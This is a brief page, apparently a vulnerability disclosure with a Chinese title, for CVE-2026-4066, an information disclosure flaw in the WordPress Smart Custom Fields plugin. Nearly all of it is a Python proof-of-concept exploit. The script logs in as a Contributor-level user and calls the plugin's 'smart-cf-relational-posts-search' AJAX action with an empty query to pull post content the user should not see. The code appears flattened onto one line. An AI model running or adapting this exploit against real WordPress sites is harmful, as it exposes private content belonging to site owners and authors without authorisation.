CVE-2026-4066 WordPress Smart Custom Fields 插件信息泄露漏洞

import requests # Configuration target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" username = "contributor_user" password = "password123" def exploit(): # Create a session to handle cookies session = requests.Session() # 1. Authenticate as a low-privileged user (Contributor) login_url = "http://target-wordpress-site.com/wp-login.php" login_payload = { "log": username, "pwd": password, "redirect_to": "http://target-wordpress-site.com/wp-admin/", "wp-submit": "Log In", "testcookie": "1" } print("[*] Attempting to login as {}...".format(username)) login_response = session.post(login_url, data=login_payload) if login_response.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # 2. Send exploit payload to vulnerable AJAX action # The action 'smart-cf-relational-posts-search' is vulnerable exploit_payload = { "action": "smart-cf-relational-posts-search", "q": "", # Empty query to potentially retrieve broad results or recent posts "post_type": "post" } print("[*] Sending exploit payload to {}...".format(target_url)) response = session.post(target_url, data=exploit_payload) # 3. Check for sensitive data in response if response.status_code == 200: print("[+] Request sent successfully.") print("[*] Response content:") print(response.text) # Check if response contains typical WordPress post structure if "post_content" in response.text or "post_title" in response.text: print("[!] Potential sensitive data found in response.") else: print("[-] Exploit request failed.") if __name__ == "__main__": exploit()